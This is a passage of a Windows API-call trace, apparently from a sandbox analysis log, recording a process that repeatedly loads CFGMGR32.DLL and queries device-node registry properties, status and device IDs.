lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.374] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.375] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.375] malloc (_Size=0x18) returned 0x20abc281e20 [0197.375] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0197.375] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x318135d1, dwHighDateTime=0x1d9eb0c)) [0197.534] SetEvent (hEvent=0x248) returned 1 [0197.537] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.537] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.538] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.540] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.540] malloc (_Size=0x18) returned 0x20abc281e00 [0197.541] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.548] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31836ad7, dwHighDateTime=0x1d9eb0c)) [0197.549] SetEvent (hEvent=0x248) returned 1 [0197.550] SetEvent (hEvent=0x248) returned 1 [0197.550] free (_Block=0x20abc27cb20) [0197.550] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.551] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.551] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31836ad7, dwHighDateTime=0x1d9eb0c)) [0197.551] SetEvent (hEvent=0x248) returned 1 [0197.552] SetEvent (hEvent=0x248) returned 1 [0197.552] free (_Block=0x20abc27cb20) [0197.552] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.553] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31836ad7, dwHighDateTime=0x1d9eb0c)) [0197.553] SetEvent (hEvent=0x248) returned 1 [0197.554] SetEvent (hEvent=0x248) returned 1 [0197.554] free (_Block=0x20abc27cb20) [0197.555] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.555] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.555] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31836ad7, dwHighDateTime=0x1d9eb0c)) [0197.555] SetEvent (hEvent=0x248) returned 1 [0197.559] SetEvent (hEvent=0x248) returned 1 [0197.560] free (_Block=0x20abc27cb20) [0197.560] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.562] malloc (_Size=0x48) returned 0x20abc2a8d20 [0197.562] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3185fe4f, dwHighDateTime=0x1d9eb0c)) [0197.562] SetEvent (hEvent=0x248) returned 1 [0197.563] SetEvent (hEvent=0x248) returned 1 [0197.564] free (_Block=0x20abc2a8d20) [0197.564] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x1a, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0197.564] malloc (_Size=0x48) returned 0x20abc2a7e70 [0197.564] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3185fe4f, dwHighDateTime=0x1d9eb0c)) [0197.565] SetEvent (hEvent=0x248) returned 1 [0197.567] SetEvent (hEvent=0x248) returned 1 [0197.567] free (_Block=0x20abc2a7e70) [0197.567] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x1a, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0197.568] malloc (_Size=0x48) returned 0x20abc2a82d0 [0197.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3185fe4f, dwHighDateTime=0x1d9eb0c)) [0197.568] SetEvent (hEvent=0x248) returned 1 [0197.569] SetEvent (hEvent=0x248) returned 1 [0197.569] free (_Block=0x20abc2a82d0) [0197.569] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0197.570] malloc (_Size=0x48) returned 0x20abc2a8500 [0197.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3185fe4f, dwHighDateTime=0x1d9eb0c)) [0197.571] SetEvent (hEvent=0x248) returned 1 [0197.695] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.695] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.695] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.696] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.697] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.699] malloc (_Size=0x18) returned 0x20abc281bc0 [0197.699] CM_Get_Device_IDA (in: dnDevInst=0x1b, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\VDRVROOT\\0000") returned 0x0 [0197.700] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3198e1fb, dwHighDateTime=0x1d9eb0c)) [0197.700] SetEvent (hEvent=0x248) returned 1 [0197.705] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.705] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.705] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.706] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.707] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.708] malloc (_Size=0x18) returned 0x20abc281bc0 [0197.709] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0197.709] malloc (_Size=0x1e) returned 0x20abc2aa090 [0197.709] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa090, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa090, pulLength=0x2dc22fd3f8) returned 0x0 [0197.709] free (_Block=0x20abc2aa090) [0197.709] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x319bb093, dwHighDateTime=0x1d9eb0c)) [0197.710] SetEvent (hEvent=0x248) returned 1 [0197.713] malloc (_Size=0x18) returned 0x20abc281e80 [0197.713] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0197.713] free (_Block=0x20abc281e80) [0197.713] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cef0 [0197.713] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0197.713] SafeArrayGetLBound (in: psa=0x20abba803d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0197.713] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0197.713] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0197.713] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0197.713] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0197.713] SafeArrayGetElemsize (psa=0x20abba803d0) returned 0x8 [0197.714] SafeArrayGetElement (in: psa=0x20abba803d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0197.714] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc4021d0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0197.715] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0197.715] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cef0) returned 1 [0197.715] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.715] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.716] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.717] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.717] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.717] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.717] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.717] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.717] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.717] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.717] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.718] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.718] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.718] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.718] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.718] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.718] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.718] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.719] malloc (_Size=0x18) returned 0x20abc281fe0 [0197.719] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0197.719] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x319da5ef, dwHighDateTime=0x1d9eb0c)) [0197.719] SetEvent (hEvent=0x248) returned 1 [0197.722] malloc (_Size=0xd8) returned 0x20abc2867b0 [0197.722] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0197.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0197.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0197.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0197.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0197.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0197.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0197.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0197.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0197.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0197.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0197.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0197.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0197.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0197.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0197.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0197.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0197.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0197.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0197.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0197.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0197.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0197.726] malloc (_Size=0x18) returned 0x20abc282040 [0197.726] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.731] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.731] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31a0265c, dwHighDateTime=0x1d9eb0c)) [0197.731] SetEvent (hEvent=0x248) returned 1 [0197.732] SetEvent (hEvent=0x248) returned 1 [0197.733] free (_Block=0x20abc27cb20) [0197.734] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.734] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31a0265c, dwHighDateTime=0x1d9eb0c)) [0197.734] SetEvent (hEvent=0x248) returned 1 [0197.735] SetEvent (hEvent=0x248) returned 1 [0197.736] free (_Block=0x20abc27cb20) [0197.737] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.737] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31a0265c, dwHighDateTime=0x1d9eb0c)) [0197.737] SetEvent (hEvent=0x248) returned 1 [0197.738] SetEvent (hEvent=0x248) returned 1 [0197.739] free (_Block=0x20abc27cb20) [0197.739] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0197.739] malloc (_Size=0x48) returned 0x20abc27cb20 [0197.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x31a0265c, dwHighDateTime=0x1d9eb0c)) [0197.739] SetEvent (hEvent=0x248) returned 1 [0197.742] SetEvent (hEvent=0x248) returned 1 [0197.743] free (_Block=0x20abc27cb20) [0197.743] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1b, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, 